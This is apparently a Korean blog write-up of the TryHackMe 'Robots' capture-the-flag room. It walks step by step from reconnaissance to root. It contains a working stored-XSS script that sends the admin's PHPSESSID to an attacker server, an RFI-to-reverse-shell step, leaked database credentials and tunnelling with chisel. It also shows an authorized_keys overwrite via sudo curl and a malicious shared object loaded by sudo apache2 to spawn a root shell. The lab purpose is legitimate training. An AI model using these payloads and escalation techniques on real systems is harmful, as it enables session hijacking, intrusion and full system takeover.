Robots - TryHackMe
https://tryhackme.com/room/robots
Write Up
# Nmap 7.95 scan initiated Sun Oct 12 22:33:48 2025 as: /usr/lib/nmap/nmap --privileged -p- -sT -T4 --min-rate 4000 -sV -o nmap_result 10.10.8.237
Nmap scan report for 10.10.45.22
Host is up (0.40s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.61
9000/tcp open http Apache httpd 2.4.52 ((Ubuntu))
Service Info: Host: robots.thm
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct 12 22:34:33 2025 -- 1 IP address (1 host up) scanned in 44.84 seconds
스캔 결과를 보게되면 80, 9000 번 포트로 웹 서비스가 동작중인 걸확인할 수 있으며, 1차접근의 가능성을 찾아보기 위해 접근할 수 있다.

80 번 포트로 접근시 권한이 존재하지않아 Forbidden 이 발생하는 걸 알 수 있다.

9000번 포트로 접근시 그저, 아파치가 동작중인것 외에는 별도의 힌트는 얻을 수 없이 다시 80번포트의 웹 서비스에서
접근점을 찾기위해 돌아갔다.
Disallow: /harming/humans
Disallow: /ignoring/human/orders
Disallow: /harm/to/self
80번 포트에서 /robots.txt 파일이 존재하고 있었으며, 3개의 경로가 노출되고 있음을 알 수 있다.

이중 /harm/to/self 경로로 접근하개되면 계정 생성과 생성된 계정을 통해 로그인을 할 수 있는 기능이 존재한다.

회원가입시 설명을 보게되면, 패스워드의 경우 md5(username+ddmm) 의 값을 사용한다고 하고 있으며,
관리자가 새로운 계정을 모니터링한다는 걸 알 수 있다.
이 때 계정명에 XSS 취약점이 발생한다면 관리자의 세션을 탈취할 수 있음을 추측할 수 있다.

하지만 HttpOnly가 설정되어 있어 document.cookie 로 세션쿠키 탈취는 불가능 하다.

좌측 상단 Server info 페이지가 별도로 존재하고 있는것을 확인할 수 있다.

해당 페이지에서 HTTP_COOKIE 값이 페이지상에서 노출되고 있음을 확인할 수 있으며,
이를통해 스크립트를 삽입하여 관리자가 해당 페이지를 읽게 만들어 해당 문자열의 값을 공격자의 서버로 전송하게끔 할 수 있다.
CSRF 가 가능하다.
└─$ cat xss_script.js
var url = "http://robots.thm/harm/to/self/server_info.php";
var attacker = "http://-------/cookie_value";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var match = xhr.responseText.match(/PHPSESSID=([a-zA-Z0-9]+)/);
if (match) {
fetch(attacker + "?cookie=" + match[1]);
}
}
}
xhr.open('GET', url, true);
xhr.send(null);
위 코드와 같이 작성한 js 파일을 공격자의 서버에 저장 후 이를 요청할 수 있도록 서버를 오픈한 후
피해자가 공격자의 서버에서 해당 파일을 실행하게 하여 쿠키값을 탈취할 수 있다.
새롭게 회원가입을 진행하며 username을 <script src=http://<attacker_ip>/xss_script.js></script> 와 같이 작성하였다.

현재 새로 생성 한계정의 세션 값은 위 사진과 같지만
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.45.22 - - [19/Oct/2025 18:18:08] "GET /xss_script.js HTTP/1.1" 200 -
10.4.85.76 - - [19/Oct/2025 18:18:08] "GET /xss_script.js HTTP/1.1" 304 -
10.10.45.22 - - [19/Oct/2025 18:18:09] code 404, message File not found
10.10.45.22 - - [19/Oct/2025 18:18:09] "GET /cookie_value?cookie=c9c40kn9li1qsg83ffkp9h31ba HTTP/1.1" 404 -
10.4.85.76 - - [19/Oct/2025 18:18:09] code 404, message File not found
10.4.85.76 - - [19/Oct/2025 18:18:09] "GET /cookie_value?cookie=6u0p0p0o0p9ffcg1i7e878722k HTTP/1.1" 404 -
10.10.45.22 - - [19/Oct/2025 18:18:38] code 404, message File not found
10.10.45.22 - - [19/Oct/2025 18:18:38] "GET /cookie_value?cookie=c9c40kn9li1qsg83ffkp9h31ba HTTP/1.1" 404 -
공격자 서버측에 열어놓은 서버를 보게되면 공격자와 다른 세션 쿠기값이 들어오고 있는것을 볼 수 있다.
즉, 관리자가 새로운 유저의 계정을 확인하고 CSRF가 동작한 것을 알 수 있다.

세션값을 변경하였을 때 여러 유저의 리스트가 보이는 것을 알 수 있다.
└─$ gobuster dir -u http://robots.thm/harm/to/self/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://robots.thm/harm/to/self/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 662]
/login.php (Status: 200) [Size: 795]
/register.php (Status: 200) [Size: 976]
/admin.php (Status: 200) [Size: 370]
/css (Status: 301) [Size: 319] [--> http://robots.thm/harm/to/self/css/]
이후 새로운 관리자 권한으로 접근가능한 엔드포인트를 탐색중 admin.php 경로가 존재하다는 걸 확인했다.

특정 URL 을 테스트하는 기능인듯 하며, 이를통해 SSRF, RCE, LFI, RFI 등 다양한 취약점이 있는지 살펴보았다.

입력값을 넣어보면 incldue() 함수가 사용됨을 알 수 있다.

실제 /etc/passwd 와 같은 내부망 파일에 접근이 가능하였으며, url 입력을 보아
RFI 를 통한 RCE까지 가능하다는 것을 짐작할 수 있다.
Remote Connection 이 가능한 php 파일을 공격자 측에 심고, 포트를 열어두고 Reverse Connection을 맺을 수 있다.

성공적으로 쉘을 획득할 수 있다.
하지만 일부 제한된 쉘을 주어졌으며, 현재 타겟 시스템에는 Python이 존재하지 않아 별도로 쉘을 이어갔다.
└─$ nc -lvnp 5252
listening on [any] 5252 ...
connect to [10.4.85.76] from (UNKNOWN) [10.10.211.189] 57082
Linux robots.thm 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64 GNU/Linux
13:40:12 up 14 min, 0 user, load average: 0.00, 0.04, 0.06
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$
$ script -qc /bin/bash /dev/null
www-data@robots:/$ ^Z
[1]+ Stopped nc -lvnp 5252
└─$ stty raw -echo; fg
nc -lvnp 5252
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@robots:/$ ls
bin dev home lib64 mnt proc run srv tmp var
boot etc lib media opt root sbin sys usr
www-data@robots:/$ export TERM=xterm
www-data@robots:/$
이로서 www-data 쉘을 최종적으로 얻을 수 있다.
www-data@robots:/var/www/html/harm/to/self$ ls
admin.php css login.php register.php
config.php index.php logout.php server_info.php
www-data@robots:/var/www/html/harm/to/self$ cat config.php
<?php
$servername = "db";
$username = "robots";
$password = "q4qCz1OflKvKwK4S";
$dbname = "web";
// Get the current hostname
$currentHostname = $_SERVER['HTTP_HOST'];
// Define the desired hostname
$desiredHostname = 'robots.thm';
// Check if the current hostname does not match the desired hostname
if ($currentHostname !== $desiredHostname) {
// Redirect to the desired hostname
header("Location: http://$desiredHostname" . $_SERVER['REQUEST_URI']);
exit();
}
ini_set('session.cookie_httponly', 1);
session_start();
?>
/var/www/html/harm/to/self 경로에 config.php 즉, 설정파일을 보게되면, db 계정정보가 고스란히 노출되고 있음을 확인할 수 있다.
www-data@robots:/var/www/html/harm/to/self$ cat login.php
<?php
include('config.php');
if ( isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true ) {
header('Location: index.php');
die();
}
$dsn="mysql:host=$servername;dbname=$dbname;charset=utf8mb4";
$options = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => true,
];
추가적으로 login.php에서 mysql로 동작중인 걸 확인했으며, 별도 mysql 명령어는 존재하지 않는것으로 보아
해당 호스트에서는 동작하지 mysql로 접근할 수 없는 것 같다.
www-data@robots:/var/www/html/harm/to/self$ cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.3 robots.thm robots
현재 호스트에서 hosts 파일을 확인해봤을 때, 도메인과 매핑되어있는 내부망 IP를 확인할 수 있다.
현재 서버에서는 ping, arp 등 일부 명령어들이 존재하지 않기에 해당 대역대에 ping 로 확인해볼 수 도 없다.
이럴 때 위 config.php 파일에서 servername 이 db인 것을 확인했으니 getent host 를 통해 hostname이 db 로 된 호스트가 있을 경우 매핑된 ip를 확인해볼 수 있다.
www-data@robots:/var/www/html/harm/to/self$ getent hosts db
172.18.0.2 db
172,18.0.2 ip가 db 라는 호스트네임과 매핑되어 있음을 확인 했다.
이제 리모트 포트 포워딩을 통해 외부에서 내부망 안의 db에 접근해야한다.
┌──(g2h㉿g2h)-[~/thm/robots/chisel]
└─$ ./chisel server --port 52528 --reverse
2025/11/02 15:07:14 server: Reverse tunnelling enabled
2025/11/02 15:07:14 server: Fingerprint VriKfwBMqqaZDGYiM8DZyGqYXChXo0Yg7TZ4mDt2uPU=
2025/11/02 15:07:14 server: Listening on http://0.0.0.0:52528
2025/11/02 15:07:35 server: session#1: tun: proxy#R:3306=>172.18.0.2:3306: Listening
우선 공격자 서버에서 chisel 서버를 역방향리모트포워딩을 실행시킨다.
<hisel client 10.4.85.76:52528 R:3306:172.18.0.2:3306
2025/11/02 06:07:30 client: Connecting to ws://10.4.85.76:52528
2025/11/02 06:07:33 client: Connected (Latency 398.821534ms)
아휴 타겟 서버에서 chisel 클라이언트를 실행시키고
공격자 서버 측에 열어놓은 서버로 포워딩 설정을 하게되면
공격자 측에 세션이 성립되면 연결이 된다.
┌──(g2h㉿g2h)-[~/thm/robots]
└─$ mysql -h 127.0.0.1 -u robots -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 89
Server version: 11.5.2-MariaDB-ubu2404 mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
이후 성공적으로 mysql에 접근할 수 있게 된다.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| web |
+--------------------+
2 rows in set (0.399 sec)
MariaDB [(none)]> use web;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [web]> show tables;
+---------------+
| Tables_in_web |
+---------------+
| logins |
| users |
+---------------+
2 rows in set (0.399 sec)
MariaDB [web]> select * from users;
+----+-------------------------------------------------------+----------------------------------+---------+
| id | username | password | group |
+----+-------------------------------------------------------+----------------------------------+---------+
| 1 | admin | 3e3d6c2d540d49b1a11cf74ac5a37233 | admin |
| 2 | rgiskard | dfb35334bf2a1338fa40e5fbb4ae4753 | nologin |
| 3 | <script src=http://10.4.85.76/xss_script.js></script> | b64da1ca9adbd2633c5c88326ce1f040 | guest |
+----+-------------------------------------------------------+----------------------------------+---------+
3 rows in set (0.398 sec)
사용자 목록을 추출할 수 있지만 패스워드는 암호화 되어있다.
rgiskard 계정이 존재하며 해당 계정을 탈취해볼 수 있다.
패스워드의 암호화 방식은 md5(md5(username+ddmm)) 와 같이 되는걸 우리는 알고 있다.
이를 역으로 복호화 하는 파이썬 코드를 작성 하여 복호화 하면 패스워드를 얻을 수 있으며,
해당 계정정보로 SSH 접근이 가능하다.
┌──(g2h㉿g2h)-[~/thm/robots]
└─$ sudo ssh rgiskard@robots.thm
[sudo] password for g2h:
The authenticity of host 'robots.thm (10.10.145.85)' can't be established.
ED25519 key fingerprint is SHA256:JpR2XY5mhYUXMxSyJMTsGb1IMrerkDpl7EB+rhuiTNU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'robots.thm' (ED25519) to the list of known hosts.
rgiskard@robots.thm's password:
Permission denied, please try again.
rgiskard@robots.thm's password:
rgiskard@ubuntu-jammy:~$
rgiskard@ubuntu-jammy:/home$ ls -al
total 20
drwxr-xr-x 5 root root 4096 Aug 19 2024 .
drwxr-xr-x 20 root root 4096 Nov 2 04:26 ..
drwxr-x--- 3 dolivaw dolivaw 4096 Aug 19 2024 dolivaw
drwxr-x--- 2 rgiskard rgiskard 4096 Aug 19 2024 rgiskard
drwxr-x--- 5 vagrant vagrant 4096 Aug 19 2024 vagrant
regiskard 계정에서는 유의미한 정보는 찾을 수 없으며
home 디렉터리를 보면 regiskard 을 제외한 2개의 추가 계정이 존재하는 걸 알 수 있다.
Matching Defaults entries for rgiskard on ubuntu-jammy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User rgiskard may run the following commands on ubuntu-jammy:
(dolivaw) /usr/bin/curl 127.0.0.1/*
sudo 명령어에 대한 권한을 확인 해보면
dolivaw 계정 권한으로 /usr/bin/curl 127.0.0.1/* 명령어를 실행 시킬 수 있다.
그렇담 ssh-keygen을 통해 임의의 키파일을 생성해 dolivaw 계정으로 로그인 할 수 있다.
┌──(g2h㉿g2h)-[~/thm/robots]
└─$ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/g2h/.ssh/id_ed25519): id_rsa
Enter passphrase for "id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:9dK4+CDfcSSAkQb6NVZghdiiAGUcICoOAitpdJCK37M g2h@g2h
The key's randomart image is:
+--[ED25519 256]--+
|***o.++=o |
|*=o.o.=+ |
|@o.. o= . . |
|X .. o . o + |
| o .. S + + |
| . o . = |
| o. o o . |
| E o + o |
| . o |
+----[SHA256]-----+
┌──(g2h㉿g2h)-[~/thm/robots]
└─$ ls -l
-rw------- 1 g2h g2h 444 Nov 2 15:38 id_rsa
-rw-r--r-- 1 g2h g2h 89 Nov 2 15:38 id_rsa.pub
┌──(g2h㉿g2h)-[~/thm/robots]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
공격자 서버에서 임의 ssh 키 설정파일을 생성 후 서버를 열고
희생자측에서 이를 가져와 덮어쓰기를 할 수 있다.
rgiskard@ubuntu-jammy:~$ sudo -u dolivaw /usr/bin/curl 127.0.0.1/ -o /dev/null http://------/id_rsa.pub -o /home/dolivaw/.ssh/authorized_keys
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 274 100 274 0 0 94809 0 --:--:-- --:--:-- --:--:-- 133k
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 89 100 89 0 0 110 0 --:--:-- --:--:-- --:--:-- 110
성공 적으로 불러온 것 같으니
공격자 서버측에서ssh 접근을 시도했다.
┌──(g2h㉿g2h)-[~/thm/robots]
└─$ ssh -i id_rsa.pub dolivaw@robots.thm
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0755 for 'id_rsa.pub' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa.pub": bad permissions
dolivaw@robots.thm's password:
┌──(g2h㉿g2h)-[~/thm/robots]
└─$ ssh -i id_rsa dolivaw@robots.thm
Enter passphrase for key 'id_rsa':
dolivaw@ubuntu-jammy:~$
성공적으로 dolivaw 계정으로 접근할 수 있다.
Matching Defaults entries for dolivaw on ubuntu-jammy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dolivaw may run the following commands on ubuntu-jammy:
(ALL) NOPASSWD: /usr/sbin/apache2
dolivaw 계정에 부여된 sudo 명령어의 권한을 확인해보면
모든 권한으로 /usr/sbin/apache2 명령어를 실행시킬 수 있다.
<VirtualHost *:5599>
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so
DocumentRoot /var/www/html
ErrorLog /tmp/error.log
CustomLog /tmp/access.log combined
<Directory /var/www/html>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
</VirtualHost>
위와 같은 .conf 파일을 피해자 pc에 저장한다.
위 설정 파일을 통해 Apache2에서 5599번 포트로 동작하며 /var/www/html을 루트 디렉터리로 사용하는 가상호스트를 정의하고, mod_mpm_event 모듈을 로드한 뒤 모든 클라이언트 접근을 허용하고 로그를 /tmp 경로에 기록하는 설정한다'
#include <unistd.h>
__attribute__((constructor)) void spawn_shell() {
char *args[] = {"/bin/sh", NULL};
execve("/bin/sh", args, NULL);
}
이후 공격자 서버에서 위 코드로 .c 파일을 생성하여
gcc -fPIC -shared -o shell.so shell.c 를 통해 컴파일 할 수 있다.
이를 통해 위코드가 .so 파일이 어떤 프로세스에 로드되면 즉시 해당 프로세스는 /bin/sh로 바뀌어 사용자가 쉘을 획득하거나 프로세스가 쉘을 획득하게 된다.
┌──(g2h㉿g2h)-[~/thm/robots]
└─$ gcc -fPIC -shared -o shell.so shell.c
┌──(g2h㉿g2h)-[~/thm/robots]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.145.85 - - [02/Nov/2025 15:57:47] "GET /shell.so HTTP/1.1" 200 -
dolivaw@ubuntu-jammy:/tmp$ sudo /usr/sbin/apache2 -f /tmp/test.conf -c 'LoadModule shell /tmp/shell.so' -k start
# id
uid=0(root) gid=0(root) groups=0(root)
성공적으로 root 권한을 획득할 수 있다.
'Pentest > Pentest' 카테고리의 다른 글
| Reverse Dynamic Port Forwarding (0) | 2025.09.25 |
|---|---|
| Dynamic Port Forwarding (0) | 2025.09.24 |
| Remote Port Forwarding (0) | 2025.09.23 |
| Local Port Forwarding (0) | 2025.09.22 |
| [모의 해킹] - Metasploitable2 - FTP 취약점 (CVE-2011-2523) (0) | 2023.10.31 |